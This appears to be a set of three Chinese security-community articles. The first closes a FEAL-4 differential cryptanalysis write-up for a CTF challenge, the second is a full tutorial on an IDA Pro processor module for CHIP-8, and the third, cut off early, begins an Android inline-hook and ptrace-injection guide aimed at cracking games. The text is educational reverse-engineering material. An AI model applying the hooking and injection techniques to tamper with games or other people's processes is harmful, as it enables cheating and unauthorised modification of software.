上述差值进入Feal-4后，我们可以追踪差值到第3轮，此后由于差值0x02000000对应的轮函数差值不确定，才中断。但是，密文分组我们是知道的（选择明文攻击），因此，L’
和 R’ 是已知的，我们可以从密文倒推，看倒推到差值追踪中断的地方
Y' = L' ^ R'
Z' = 0x02000000 ^ L'
X' = 0x80800000 ^ Y'
由上面三行，我们已经倒推到X’了，于是整个流程里的差分值，我们都是清楚的。L’ R’ X’ Y’ Z’ 都是已知的。
请注意轮函数的输出差值Z’，马上就要用到。
结合实际加密流程图，我们还可以通过猜解K3，计算实际的Z0和Z1，从而获得实际的`Z0 ^ Z1`
Y0 = L0 ^ R0
Y1 = L1 ^ R1
Z0 = F(Y0 ^ K3)
Z1 = F(Y1 ^ K3)
所以现在我们有了一个K3的方程，
差分分析得到实际的 Z’ = 0x02000000 ^ L’
猜解K3得到可能的 Z’ = Z0 ^ Z1 = F(Y0 ^ K3) ^ F(Y1 ^ K3)
如果猜解的K3正确，那么这两个值应该相等，由此我们就可以爆破出K3，爆破需要枚举的空间是4个字节，即2的32次方。爆破出K3后，使用K3以及
L、R，可以恢复出第四轮加密前的数据，即第三轮加密的结果
L3 = Y
R3 = L4 ^ F(Y ^ K3)
使用L3和R3继续上面的过程，可以猜解出K2。这个过程需要改变的是使用的差分特征，猜解K3时使用的差分特征是0x8080000080800000，猜解K2时使用差分特征
0x0000000080800000，可以像K3那样构建方程
由于K3已知，可以算出此时的Y0和Y1
Y0 = L ^ F(K3 ^ R0 ^ L0)
Y1 = L ^ F(K3 ^ R1 ^ L1)
同理可以由差分数据流得到Z’
Z’ = L3’ ^ 0x02000000
其中 L3’ = R4’ = L’ ^ R’
此时猜解K2，构建Z’的等式
Z’ = F(Y0 ^ K2) ^ F(Y1 ^ K2)
Z’ = L3’ ^ 0x02000000
得到K2
同理，用差分特征0x00000000 02000000 可以求解出K1
那么如何求解K0和K4、K5呢？theamazingking
博客上讲到，无法使用差分方法求解K0，只能直接猜解K0，然后求出对应的K4和K5，然后使用其他选择明文分组验证猜解的K0 K4 K5
正确性。经过测试我发现其实是可以使用差分的方式求K0的。
还是使用差分特征0x0000000002000000，此时构建K0的方程针对 X’ 构建。有了K3 K2
K1后，我们就有了第一轮加密的左右输出，从而有了L1’ 和 R1’，于是
`X' = L1' ^ 0x00000000 = L1'`
另一方面，猜解K0，得到
X0 = F(R1_0 ^ K0)
X1 = F(R1_1 ^ K0)
X' = X0 ^ X1
我们同样可以得到K0的等式。
### 提高破解速度
上述过程已经可以实现子密钥的恢复，但是枚举空间是2的32次方，theamazingking的 C demo
程序就是使用的这种算法。C程序的运行时间已经较慢了，使用Python实现破解程序，速度慢到无法承受。得益于Feal-4轮函数的设计，我们还能以更快的速度找到子密钥，方法如下
首先定义M函数，针对4字节输入产生4字节输出，如下
其中z表示zero,0x00
然后对所有可能的四字节序列，计算 Q0 和 Q1
此时有这样的结论：如果A恰好等于M(K3)，那么下面的式子成立
将式子展开，就能看到等式左右两边相等
基于这种方式，我们可以将猜解子密钥的过程分为两步。
第一步，猜解16位的M(K3)，即 `M(K3) = (0, a0, a1, 0)`，猜解的空间是2的16次方
通过上述步骤得到 Q0 和 Q1，然后与 Z’ 建立方程，
Q0 ^ Q1 = F[ M(Y0) ^ (0, a0, a1, 0) ] ^ F[ M(Y1) ^ (0, a0, a1, 0) ]
Z' = L' ^ 0x02000000
Q0 ^ Q1 的8-23位 = Z' 的8-23位
通过上述三行式子，枚举全部的 M(K3)，得到所有可能的 M(K3)
第二步，根据`K3 = (c0, c0^a0, c1^a1, c1)`，继续猜解 c0
c1两个字节，猜解方式依然是基于Z’构建等式，猜解的空间是2的16次方，就可以得到完整的子密钥 K3。
通过这种子密钥求解方式，两次2的16次方的枚举，共2的17次方的枚举次数，就可以求解出子密钥K3，K2 K1
K0的求解方式一样。实际测试中，效率提升非常明显。
以上就是对Feal-4的差分攻击过程。上述分析过程仍然有可以改进的地方，比如选择明文的数量。以及使用破解K0的方式，用同一组选择明文破解K3 和
K2，第二组选择明文破解K1 和 K0，这样需要的选择明文数更少。由于时间原因我没有再做测试。
## 三、实例
*ctf 2019 的 notfeal 问题就是这样一个使用差分方式攻击Feal密码的例子。不过该程序对原始Feal-4进行了改动。有以下两点
第一，F函数的输出被逆序了。
第二，Feistel架构左右颠倒了。
只要理解了差分攻击的过程，不难调整差分过程，完成攻击。
由于输出逆序，三轮使用的差分特征要调整为
1.0×0000000080800000
2.0×8080000080800000
3.0×0000000200000002
该问题限定的选择明文数量是50组，实际上使用36组就可以成功。
代码很乱就不放了。可参考 sixstar 在github上的官方 writeup（该wp使用的就是theamazingking的C代码）
值得一提的是，差分攻击得到的子密钥组不唯一，但是都可以正确解密。 | 社区文章 |
# 为CHIP-8编写IDA processor module
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
在对嵌入式设备进行逆向分析的过程中，偶尔会遇到一些比较小众或专业性较强的处理器，使用ida默认不支持的指令集。这时为了愉快的使用ida
pro逆向就需要编写对应的处理器模块。出于学习目的，找一个非常简单的指令集来探路，CHIP-8再合适不过了。
## CHIP-8简介
CHIP-8是一种解释型编程语言，出现在上世纪七十年代中期，被用来开发电子游戏以及图形化计算器等。CHIP-8的代码运行在CHIP-8虚拟机上。
* 多数时候其解释器需要占据内存空间的前512个字节，所以程序通常加载在0x200处，且不会用到前512字节地址。
* CHIP-8使用16个8bit的数据寄存器，命名为V0-VF。其中VF寄存器在执行某些指令时作为状态寄存器。有一个16位的地址寄存器I。
* CHIP-8有两个定时器，延时寄存器(Delay timer)与声音寄存器(Sound timer)。
* 唯一使用栈的地方是call的时候存储返回地址其他信息可以在wikipedia上了解:<https://en.wikipedia.org/wiki/CHIP-8>
## 初探ida处理器模块(IDA Pro 7.0)
ida处理器模块的样例可以在sdk中modules目录下找到，一打开目录映入眼帘的就是许多的c++写的处理器模块。在module/script下有三个python的处理器模块，包含一个`proctemplate.py`模板。这里选择使用python编写，在模板文件中可以看到主要代码为PROCESSOR_ENTRY方法返回一个继承自processor_t的sample_proccesst,类中有许多的`notify`开头的回调方法，每个都有少量对其应该负责的工作的注释。
通过注释可以知道其中`notify_emu``notify_out_operand` `notify_out_insn`
`notify_ana`几个方法是强制性的。
### IDA指令解析流程
#### 分析(Ana)
在`notify_ana(self,
insn)`中，需要做的是读取数据并解析成指令。根据opcode找到对应的指令，读取并设置好指令的参数与属性。其中insn为一个insn_t类型的变量，即为要设置的指令对象。调用insn.get_next_byte()系列方法可以获取到当前的数据，也就是下一步要解析的指令或操作数。设置insn的itype属性为指令的itype,根据操作数数量设置`insn.Op1`及`insn.Op2`的系列属性如type(操作数类型):o_imm(立即数)/o_reg(寄存器)/o_mem(内存)……、dtype(操作数大小):dt_byte/dt_word/dt_dword和value(操作数的值)。
#### 模拟(Emu)
体现在`notify_emu(self)`中，用于设置数据与代码之间的关系，例如当前指令执行完毕后如果顺序执行下一条指令就要通过`add_cref(insn.ea,
insn.ea + insn.size,
fl_F)`来告诉ida这条指令的下一条在哪。其中第一个参数为出发点，多数时候为当前指令地址，第二个参数为将跳到的地址，第三个参数有可能为
fl_F(顺序),fl_JN/fl_JF(跳转)以及fl_CN/fl_CF(调用)。以及使用`add_dref(op.addr, op.offb,
dr_O)`类似指令来添加数据的引用信息。如果有对栈数据的分析也在模拟过程中处理，可参考ebc.py中emu回调所调用的`trace_sp`方法。再笔者的理解中，除了个别情况，大多数修改ida数据库中数据的操作都在模拟部分进行。
#### 输出(output)
体现在`notify_out_operand(self, ctx, op)`与`notify_out_insn(self,
ctx)`两个方法。notify_out_operand用来输出参数，notify_out_insn用来输出指令。注释中特意指出在这两个方法中不应该有任何操作数据库，修改标志位等操作。笔者认为与output操作执行次数较多有关。
### 看一看`script.dll`
在ida的procs目录下可以看到`script.dll`与`script64.dll`两个文件，其与我们使用python编写处理器模块密切相关。用ida打开script.dll，字符串中可以看到许多在`proctemplate.py`模板中出现过的熟悉的方法名。初始化过程中sub_130021F0=>sub_13005B30=>sub_13006100会寻找PROCESSOR_ENTRY方法并尝试接收其返回的对象
char __fastcall sub_13006100(__int64 a1, __int64 a2, _BYTE *a3, __int64 a4)
{
_QWORD *v4; // rbx
_BYTE *v5; // rsi
unsigned __int8 (__fastcall *v6)(_BYTE *, __int64, _QWORD *); // r9
__int64 v7; // rdi
v4 = (_QWORD *)a4;
v5 = a3;
v6 = *(unsigned __int8 (__fastcall **)(_BYTE *, __int64, _QWORD *))(a1 + 112);
v7 = a1;
if ( v6 )
{
if ( !v6(a3, a2, v4) )
return 0;
}
else
{
if ( !(*(unsigned __int8 (__fastcall **)(__int64, _QWORD *))(a1 + 48))(a2, v4) )
return 0;
if ( !(*(unsigned __int8 (__fastcall **)(_QWORD, _QWORD, const char *))(v7 + 88))(0i64, 0i64, "PROCESSOR_ENTRY") )
{
sub_13003EA0(v4, "PROCESSOR_ENTRY attribute was not found");
return 0;
}
if ( !(*(unsigned __int8 (__fastcall **)(_BYTE *, const char *, _QWORD, _QWORD, _QWORD *))(v7 + 56))(
v5,
"PROCESSOR_ENTRY",
0i64,
0i64,
v4) )
return 0;
}
if ( *v5 == 5 )
return 1;
sub_13003EA0(v4, "should return an object!");
return 0;
}
成功后在sub_13003F70中检查前文提到的几个强制性的回调函数是否存在
do
{
if ( !(unsigned __int8)sub_13005FD0(off_1300ABE8[v2], &unk_1300F150) )
{
sub_13005260(v1, "Processor module script: missing callback '%s'", off_1300ABE8[v2]);
return 0;
}
++v2;
}
while ( v2 < 4 );
随后会在sub_13004C90中解析几个处理器属性，可以注意到`assembler`与`instruc`，也是一会必须要编写好的属性。
__int64 __fastcall sub_13004C90(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
__int64 v4; // rbx
unsigned __int8 v5; // si
int v6; // eax
__int64 v7; // rdx
__int64 v8; // r8
size_t v9; // rbx
unsigned __int64 v10; // rdi
__int64 v11; // rax
char *v12; // rax
char *v13; // rcx
__int64 v14; // r8
__int64 v15; // r8
__int64 v16; // r8
char v18; // [rsp+20h] [rbp-448h]
int v19; // [rsp+28h] [rbp-440h]
__int64 v20; // [rsp+40h] [rbp-428h]
char Src[1024]; // [rsp+50h] [rbp-418h]
v20 = -2i64;
v4 = a1;
qword_1300F478 = (__int64)off_1300A800;
v5 = 0;
v18 = 2;
v19 = 0;
LOBYTE(a4) = 1;
v6 = sub_13005B80(off_1300A800, &xmmword_1300F250, a1, a4, *(_QWORD *)&v18, *(_QWORD *)&v19);
if ( v6 < 0 )
{
LODWORD(xmmword_1300F250) = 700;
if ( !(_DWORD)xmmword_1300F290 )
LODWORD(xmmword_1300F290) = sub_130061E0(*((_QWORD **)&xmmword_1300F280 + 1));
if ( (unsigned __int8)sub_13006A20(v4, (__int64)"assembler", (__int64)&v18) && (unsigned __int8)sub_13004A90(&v18) )
{
if ( (unsigned __int8)sub_13006A20(v4, (__int64)"codestart", (__int64)&v18)
&& (LOBYTE(v14) = 1, (unsigned __int8)sub_13006200(&v18, &qword_1300F4D0, v14)) )
{
*((_QWORD *)&xmmword_1300F2A0 + 1) = qword_1300F4D0;
}
else
{
*((_QWORD *)&xmmword_1300F2A0 + 1) = 0i64;
}
if ( (unsigned __int8)sub_13006A20(v4, (__int64)"retcodes", (__int64)&v18)
&& (LOBYTE(v15) = 1, (unsigned __int8)sub_13006200(&v18, &qword_1300F4B8, v15)) )
{
*(_QWORD *)&xmmword_1300F2B0 = qword_1300F4B8;
}
else
{
*(_QWORD *)&xmmword_1300F2B0 = 0i64;
}
if ( (unsigned __int8)sub_13006A20(v4, (__int64)"instruc", (__int64)&v18)
&& (unsigned __int8)sub_130063C0((__int64)&v18, &qword_1300F488, v16) )
{
*(_QWORD *)&xmmword_1300F2C0 = qword_1300F488;
*(_QWORD *)&xmmword_1300F280 = sub_130021F0;
v5 = 1;
}
else
{
sub_13003EA0(&Dst, "Missing processor instructions definition");
}
}
}
最重要的地方是13003b51h处的call，`hook_to_notification_point(3i64, sub_130041E0)`。查看ida
sdk include/idp.hpp可以看到对hook_to_notification_point说明和函数原型：
/// Register a callback for a class of events in IDA
idaman bool ida_export hook_to_notification_point(
hook_type_t hook_type,
hook_cb_t *cb,
void *user_data = NULL);
hook_type_t枚举体的定义：
enum hook_type_t
{
HT_IDP, ///< Hook to the processor module.
///< The callback will receive all processor_t::event_t events.
HT_UI, ///< Hook to the user interface.
///< The callback will receive all ::ui_notification_t events.
HT_DBG, ///< Hook to the debugger.
///< The callback will receive all ::dbg_notification_t events.
HT_IDB, ///< Hook to the database events.
///< These events are separated from the ::HT_IDP group
///< to speed things up (there are too many plugins and
///< modules hooking to the ::HT_IDP). Some essential events
///< are still generated in th ::HT_IDP group:
///< make_code, make_data
///< This list is not exhaustive.
///< A common trait of all events in this group: the kernel
///< does not expect any reaction to the event and does not
///< check the return code. For event names, see ::idb_event.
HT_DEV, ///< Internal debugger events.
///< Not stable and undocumented for the moment
HT_VIEW, ///< Custom/IDA views notifications.
///< Refer to ::view_notification_t
///< for notification codes
HT_OUTPUT, ///< Output window notifications.
///< Refer to ::msg_notification_t
///< (::view_notification_t)
HT_GRAPH, ///< Handling graph operations
///< (::graph_notification_t)
HT_LAST
};
第一个参数为3，即HT_IDB,从注释看出make_code, make_data等事件会触发回调。回调函数的原型如下
typedef ssize_t idaapi hook_cb_t(void *user_data, int notification_code, va_list va);
可以看出sub_130041E0的第二个参数即为notification_code，此处为processor_t::event_t。其定义可以在[ida文档](https://www.hex-rays.com/products/ida/support/sdkdoc/structprocessor__t.html)中找到，也可通过qword_1300E000处得知。
函数会根据不同的notification_code调用不同的回调函数。
## 编写最简单的ida处理器模块
### 定义处理器属性
修改sample_processor_t为chip8_processor_t。首先需要设置一些处理器模块的基本信息。每个处理器模块都需要有id，name。这里直接在模板基础上更改就好，挑一个没人用的id，psnames与plnames为名字缩写与全称。cnbits与dnbits设为8即可，assembler暂时无需更改。flag指定了一些特性，根据需要设置。PTRSZ为指针大小，由于chip8地址空间有0x1000个字节，这里设置为2即16bits。
#### 定义寄存器
为了代码可读性，学习ebc.py做法，将定义寄存器的代码单独编写为一个方法并在chip8_processor_t的 **init**
方法中调用。设置好chip8所用的寄存器。由于ida的实现问题，虽然用不到段寄存器，但仍需要设置好假的段寄存器。
def init_registers(self):
# register names
self.reg_names = [
# General purpose registers
"V0",
"V1",
"V2",
"V3",
"V4",
"V5",
"V6",
"V7",
"V8",
"V9",
"VA",
"VB",
"VC",
"VD",
"VE",
"VF",
#
"PC",# Instruction pointer
"I", # Index register 12bit
"DT",# Delay timer
"ST",# Sound timer
# Fake segment registers
"CS",
"DS"
]
# number of registers (optional: deduced from the len(reg_names))
self.regs_num = len(self.reg_names)
# Segment register information (use virtual CS and DS registers if your
# processor doesn't have segment registers):
self.reg_first_sreg = 19 # index of CS
self.reg_last_sreg = 20 # index of DS
# size of a segment register in bytes
self.segreg_size = 0
# You should define 2 virtual segment registers for CS and DS.
# number of CS/DS registers
self.reg_code_sreg = 19
self.reg_data_sreg = 20
#### 设置指令集
在刚才分析script.dll时可以看到ida需要一个instruc属性存放指令信息，同时我们在解析指令时可以查表更加方便。还需要设置chip8_processort的itypexx与之对应。这里同样编写一个在
**init**
中调用的方法，初始化指令表。这里指令对应的助记表示是根据github上[CHIP-8](https://github.com/massung/CHIP-8#instruction-set)项目的指令集说明。由于指令无法按顺序解析，定义itable时每条指令设置mask与opcode，通过操作数与掩码结合来判断指令，要注意用这种方法定义指令集需要将更精确的匹配项放在前面。idef的d属性为对应指令的解析方法，这里根据操作数类型等编写了几个方法解析并设置操作数信息，方便后面分析过程分析指令。不同指令的文字表达相同，所以不能像ebc.py中将指令名称直接与`"itype"`拼接作为属性名称，而是将指令的操作数与`"itype"`拼接后作为属性名称。最后还需要设置指令集表项的起始索引与结束索引`self.instruc_start``self.instruc_end`，ret指令的itype信息`self.icode_return`。
def init_instruction(self):
class idef:
def __init__(self, opcode, mask, name, cf, d, cmt = None):
self.opcode = opcode
self.mask = mask
self.name = name
self.cf = cf
self.d = d
self.cmt = cmt
self.itable = [
idef(opcode=0x00E0, mask=0xffff, name="CLS", d=self.decode_OP, cf=0, cmt="Clear video memory"),
idef(opcode=0x00EE, mask=0xffff, name="RET", d=self.decode_OP, cf=CF_STOP, cmt="Return from subroutine"),
idef(opcode=0x0000, mask=0xf000, name="SYS", d=self.decode_NNN_mem, cf=CF_USE1, cmt="Call CDP1802 subroutine at NNN"),
idef(opcode=0x1000, mask=0Xf000, name="JP", d=self.decode_NNN_mem, cf=CF_USE1|CF_JUMP, cmt="Jump to address NNN"),
idef(opcode=0x2000, mask=0xf000, name="CALL", d=self.decode_NNN_mem, cf=CF_USE1|CF_CALL, cmt="Call CHIP-8 subroutine at NNN"),
idef(opcode=0x3000, mask=0xf000, name="SE", d=self.decode_XNN, cf=CF_USE1|CF_USE2|CF_JUMP, cmt="Skip next instruction if VX == NN"),
idef(opcode=0x4000, mask=0xf000, name="SNE", d=self.decode_XNN, cf=CF_USE1|CF_USE2|CF_JUMP, cmt="Skip next instruction if VX != NN"),
idef(opcode=0x5000, mask=0xf00f, name="SE", d=self.decode_XY, cf=CF_USE1|CF_USE2|CF_JUMP, cmt="Skip next instruction if VX == VY"),
idef(opcode=0x6000, mask=0xf000, name="LD", d=self.decode_XNN, cf=CF_USE1|CF_CHG1|CF_USE2, cmt="VX = NN"),
idef(opcode=0x7000, mask=0xf000, name="ADD", d=self.decode_XNN, cf=CF_USE1|CF_CHG1|CF_USE2, cmt="VX = VX + NN"),
idef(opcode=0x8000, mask=0xf00f, name="LD", d=self.decode_XY, cf=CF_USE1|CF_CHG1|CF_USE2, cmt="VX = VY"),
idef(opcode=0x8001, mask=0xf00f, name="OR", d=self.decode_XY, cf=CF_USE1|CF_CHG1|CF_USE2, cmt="VX = VX OR VY"),
idef(opcode=0x8002, mask=0xf00f, name="AND", d=self.decode_XY, cf=CF_USE1|CF_CHG1|CF_USE2, cmt="VX = VX AND VY"),
idef(opcode=0x8003, mask=0xf00f, name="XOR", d=self.decode_XY, cf=CF_USE1|CF_CHG1|CF_USE2, cmt="VX = VX XOR VY"),
idef(opcode=0x8004, mask=0xf00f, name="ADD", d=self.decode_XY, cf=CF_USE1|CF_CHG1|CF_USE2, cmt="VX = VX + VY; VF = 1 if overflow else 0"),
idef(opcode=0x8005, mask=0xf00f, name="SUB", d=self.decode_XY, cf=CF_USE1|CF_CHG1|CF_USE2, cmt="VX = VX - VY; VF = 1 if not borrow else 0"),
idef(opcode=0x8006, mask=0xf00f, name="SHR", d=self.decode_XY, cf=CF_USE1|CF_CHG1|CF_USE2, cmt="VF = LSB(VX); VX = VX » 1 (** see note)"),
idef(opcode=0x8007, mask=0xf00f, name="SUBN", d=self.decode_XY, cf=CF_USE1|CF_CHG1|CF_USE2, cmt="VX = VY - VX; VF = 1 if not borrow else 0"),
idef(opcode=0x800E, mask=0xf00f, name="SHL", d=self.decode_XY, cf=CF_USE1|CF_CHG1|CF_USE2, cmt="VF = MSB(VX); VX = VX « 1 (** see note)"),
idef(opcode=0x9000, mask=0xf00f, name="SNE", d=self.decode_XY, cf=CF_USE1|CF_USE2|CF_JUMP, cmt="Skip next instruction if VX != VY"),
idef(opcode=0xA000, mask=0xf000, name="LD", d=self.decode_LD_I, cf=CF_USE1, cmt="I = NNN"),
idef(opcode=0xB000, mask=0xf000, name="JP", d=self.decode_JP_V0, cf=CF_USE1|CF_JUMP, cmt="Jump to address NNN + V0"),
idef(opcode=0xC000, mask=0xf000, name="RND", d=self.decode_XY, cf=CF_USE1|CF_CHG1|CF_USE2, cmt="VX = RND() AND NN"),
idef(opcode=0xD000, mask=0xf000, name="DRW", d=self.decode_XYN, cf=CF_USE1|CF_USE2|CF_USE3, cmt="Draw 8xN sprite at I to VX, VY; VF = 1 if collision else 0"),
idef(opcode=0xE09E, mask=0xf0ff, name="SKP", d=self.decode_X, cf=CF_USE1|CF_JUMP, cmt="Skip next instruction if key(VX) is pressed"),
idef(opcode=0xE0A1, mask=0xf0ff, name="SKNP", d=self.decode_X, cf=CF_USE1|CF_JUMP, cmt="Skip next instruction if key(VX) is not pressed"),
idef(opcode=0xF007, mask=0xf0ff, name="LD", d=self.decode_LD_VX_DT, cf=CF_USE1|CF_CHG1, cmt="LD VX, DT;Sets VX to the value of the delay timer."),
idef(opcode=0xF00A, mask=0xf0ff, name="LD", d=self.decode_LD_K, cf=CF_USE1|CF_CHG1, cmt="Wait for key press, store key pressed in VX"),
idef(opcode=0xF015, mask=0xf0ff, name="LD", d=self.decode_LD_DT_VX, cf=CF_USE1, cmt="DT = VX;Sets the delay timer to VX."),
idef(opcode=0xF018, mask=0xf0ff, name="LD", d=self.decode_LD_ST, cf=CF_USE1, cmt="ST = VX;Sets the sound timer to VX."),
idef(opcode=0xF01E, mask=0xf0ff, name="ADD", d=self.decode_ADD_I, cf=CF_USE1, cmt="I = I + VX; VF = 1 if I > 0xFFF else 0"),
idef(opcode=0xF029, mask=0xf0ff, name="LD", d=None, cf=CF_USE1, cmt="I = address of 4x5 font character in VX (0..F) (* see note)"),
idef(opcode=0xF033, mask=0xf0ff, name="BCD", d=self.decode_X, cf=CF_USE1, cmt="set_BCD(Vx);*(I+0)=BCD(3);*(I+1)=BCD(2);*(I+2)=BCD(1);Store BCD representation of VX at I (100), I+1 (10), and I+2 (1); I remains unchanged"),
idef(opcode=0xF055, mask=0xf0ff, name="LD", d=self.decode_STORE_I, cf=CF_USE1, cmt="Store V0..VX (inclusive) to memory starting at I; I remains unchanged"),
idef(opcode=0xF065, mask=0xf0ff, name="LD", d=self.decode_LOAD_I, cf=CF_USE1, cmt="Load V0..VX (inclusive) from memory starting at I; I remains unchanged")
]
Instructions = []
i = 0
for x in self.itable:
d = dict(name=x.name, feature=x.cf)
if x.cmt != None:
d['cmt'] = x.cmt
Instructions.append(d)
setattr(self, 'itype_' + ("%04X" % x.opcode), i)
i += 1
# icode of the first instruction
self.instruc_start = 0
# icode of the last instruction + 1
self.instruc_end = len(Instructions) + 1
# Array of instructions
self.instruc = Instructions
# Icode of return instruction. It is ok to give any of possible return
# instructions
self.icode_return = self.itype_00EE
### 实现回调函数
#### 实现分析与输出
首先要实现`notify_ana(self,
insn)`，这里因为实现了单独的解析函数并设置好了指令表，直接获取两字节数据与掩码and后查表即可，如果遇到不认识的操作数，`return
0`告诉ida识别出现了问题。识别正常则返回解析指令及操作数的大小。
def get_idef(self, opcode):
for i in self.itable:
if opcode & i.mask == i.opcode:
return i
return None
def notify_ana(self, insn):
"""
Decodes an instruction into insn
Returns: insn.size (=the size of the decoded instruction) or zero
"""
opcode = insn.get_next_word()
ins = self.get_idef(opcode)
if ins == None:
return 0
else:
ins.d(insn, opcode)
insn.itype = getattr(self,"itype_" + ("%04X" % ins.opcode) )
# Return decoded instruction size or zero
return insn.size
decode系列用于解析操作数的函数大同小异。
def decode_XY(self, insn, opcode):
insn.Op1.type = o_reg
insn.Op1.reg = (opcode & 0x0f00)>>8
insn.Op2.type = o_reg
insn.Op2.reg = (opcode & 0x00f0)>>4
def decode_NNN_mem(self, insn, opcode):
insn.Op1.type = o_near
insn.Op1.dtype = dt_word
insn.Op1.addr = opcode & 0xfff
......
然后实现`notify_out_operand(self, ctx, op)`与`notify_out_insn(self,
ctx)`两个方法，一个负责输出操作数，一个负责输出指令。
def notify_out_insn(self, ctx):
"""
Generate text representation of an instruction in 'ctx.insn' structure.
This function shouldn't change the database, flags or anything else.
All these actions should be performed only by u_emu() function.
Returns: nothing
"""
ctx.out_mnemonic()
ctx.out_one_operand(0)
for i in range(1, 4):
op = ctx.insn[i]
if op.type == o_void:
break
ctx.out_symbol(',')
ctx.out_char(' ')
ctx.out_one_operand(i)
ctx.set_gen_cmt()
ctx.flush_outbuf()
在notify_out_insn中调用ctx.out_mnemonic来输出instruc中指令的name。之后调用ctx.out_one_operand(i)输出操作数，此方法会调用到下面的`notify_out_operand(self,
ctx, op)`回调来输出操作数信息。其中op参数会携带指令操作数信息，在分析时可以设置specval属性来携带额外信息给输出方法。
def notify_out_operand(self, ctx, op):
"""
Generate text representation of an instructon operand.
This function shouldn't change the database, flags or anything else.
All these actions should be performed only by u_emu() function.
The output text is placed in the output buffer initialized with init_output_buffer()
This function uses out_...() functions from ua.hpp to generate the operand text
Returns: 1-ok, 0-operand is hidden.
"""
optype = op.type
fl = op.specval
if optype == o_reg:
ctx.out_register(self.reg_names[op.reg])
elif optype == o_imm:
# for immediate loads, use the transfer width (type of first operand)
# if op.n == 1:
# width = self.dt_to_width(ctx.insn.Op1.dtype)
# else:
# width = OOFW_32 if self.PTRSZ == 4 else OOFW_64
ctx.out_value(op,8)
elif optype in [o_near, o_mem]:
r = ctx.out_name_expr(op, op.addr, BADADDR)
if not r:
ctx.out_tagon(COLOR_ERROR)
ctx.out_btoa(op.addr, 4)
ctx.out_tagoff(COLOR_ERROR)
remember_problem(PR_NONAME, ctx.insn.ea)
elif optype == o_displ:
if fl & self.FL_K == self.FL_K:
ctx.out_symbol('[')
ctx.out_char('K')
ctx.out_symbol(']')
else:
ctx.out_symbol('[')
ctx.out_register(self.reg_names[op.reg])
ctx.out_symbol(']')
else:
return False
return True
到这里已经可以使用这个处理器模块了，将其放置在ida目录的procs下。加载文件时选择处理器类型CHIP-8。在想要反汇编的地方c来make_code，成功。但是会发现按一下c只识别一个，指令之间没有联系，更别提跳转了。如下图
这就是因为没有实现notify_emu方法，指令解析完后没有互相的引用导致的。下面来实现模拟部分。
#### 实现模拟
def notify_emu(self, insn):
"""
Emulate instruction, create cross-references, plan to analyze
subsequent instructions, modify flags etc. Upon entrance to this function
all information about the instruction is in 'insn' structure.
If zero is returned, the kernel will delete the instruction.
"""
feature = insn.get_canon_feature()
flow = (feature & CF_STOP) == 0
if feature & CF_JUMP:
remember_problem(PR_JUMP, insn.ea)
if insn.itype == self.itype_1000:
add_cref(insn.ea, insn.Op1.addr, fl_JN)
flow = False
elif insn.itype == self.itype_2000:
add_cref(insn.ea, insn.Op1.addr, fl_CN)
elif insn.itype in (self.itype_3000, self.itype_4000, self.itype_5000, self.itype_9000):
add_cref(insn.ea, insn.ea + insn.size*2, fl_JN)
if flow:
add_cref(insn.ea, insn.ea + insn.size, fl_F)
return 1
JP与CALL指令根据操作数来设置引用地址。所有JP、CALL以及RET指令在定义itable的时候feature都设置了CF_STOP标志位，其不引用相邻指令，除此之外指令对相邻指令添加引用。简单实现emu之后再用ida载入，设置加载地址为0x200(见CHIP8简介)。直接按p定义函数，效果如下图(载入的rom文件:[BLITZ](https://github.com/massung/CHIP-8/raw/master/games/roms/BLITZ))
## 尾声
实现了一个非常简单的指令集的处理器模块，关于trace_sp，switch等均未涉及到，算是对idp有一个简单的了解和实践，完整代码:[chip8.py](https://gist.github.com/leommxj/1e637ba070e54de3bea5854f1af51f7d)。珠玉在前，下面给出一些过程中参考的优秀的文章，感谢大佬们的指点。
* [IDA processor module – Kevin Szkudlapski](https://blog.quarkslab.com/ida-processor-module.html)
* [Scriptable Processor modules – Hex Blog](http://www.hexblog.com/?p=116)
* [Lua程序逆向之为Luac编写IDA Pro处理器模块 – 非虫](https://www.anquanke.com/post/id/153699)
* [Random thoughts about writing an IDA processor module – delroth](https://blog.delroth.net/2011/11/random-thoughts-about-writing-an-ida-processor-module/)
* [Mouse Adventures #7: Writing an IDA Processor Module – Ash Wolf](http://wuffs.org/blog/mouse-adventures-part-7) | 社区文章 |
[TOC]
# 引言
本片文章主要学习Android平台的Inline-Hook来配合ptrace注入实现简单的游戏破解，了解游戏破解相关的安全技术。
# 概述
下面通过一张经典的inline hook流程图，做个大致介绍。
主要通过修改一条汇编指令，让指令流程跳转到我们设计好的桩函数处，执行完我们的桩函数后紧接着执行我们修改的哪条汇编指令，紧接着经过一个跳转指令返回原来的指令流程里继续程序的正常执行。
# 内联算法
1. 先构造我们的桩函数，主要进行以下操作：
* 寄存器的备份，为第三步继续执行原指令做准备
* 跳转到用户自定义函数的指令
* 寄存器还原操作
* 跳转到构造好的原指令函数
2. 构造原指令函数，这个原指令函数主要是执行将要被修改的汇编指令，并跳转到程序正常的执行流程中
3. 指令覆盖操作。使用跳转指令覆盖原指令
# 代码实现
**Ihook.h** ：头文件，声明了hook过程中用到的一些功能函数和宏定义
#include <stdio.h>
#include <Android/log.h>
#include <errno.h>
#include <unistd.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
#include <sys/ptrace.h>
#include <stdbool.h>
#ifndef BYTE
#define BYTE unsigned char
#endif
#define OPCODEMAXLEN 8 //inline hook所需要的opcodes最大长度
#define LOG_TAG "GSLab"
#define LOGI(fmt, args...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, fmt, ##args);
/** shellcode里用到的参数、变量*/
extern unsigned long _shellcode_start_s;
extern unsigned long _shellcode_end_s;
extern unsigned long _hookstub_function_addr_s; //根函数地址
extern unsigned long _old_function_addr_s; //原指令地址
//hook点信息
typedef struct tagINLINEHOOKINFO{
void *pHookAddr; //hook的地址
void *pStubShellCodeAddr; //跳过去的shellcode stub的地址
void (*onCallBack)(struct pt_regs *);
//回调函数，跳转过去的函数地址
void ** ppOldFuncAddr; //shellcode 中存放old function的地址
BYTE szbyBackupOpcodes[OPCODEMAXLEN]; //原来的opcodes
} INLINE_HOOK_INFO;
//更高内存页属性
bool ChangePageProperty(void *pAddress, size_t size);
//获取模块基址
extern void * GetModuleBaseAddr(pid_t pid, char* pszModuleName);
//初始化ARM指令集的hook信息结构体
bool InitArmHookInfo(INLINE_HOOK_INFO* pstInlineHook);
//构建桩函数
bool BuildStub(INLINE_HOOK_INFO* pstInlineHook);
//构建跳转代码
bool BuildArmJumpCode(void *pCurAddress , void *pJumpAddress);
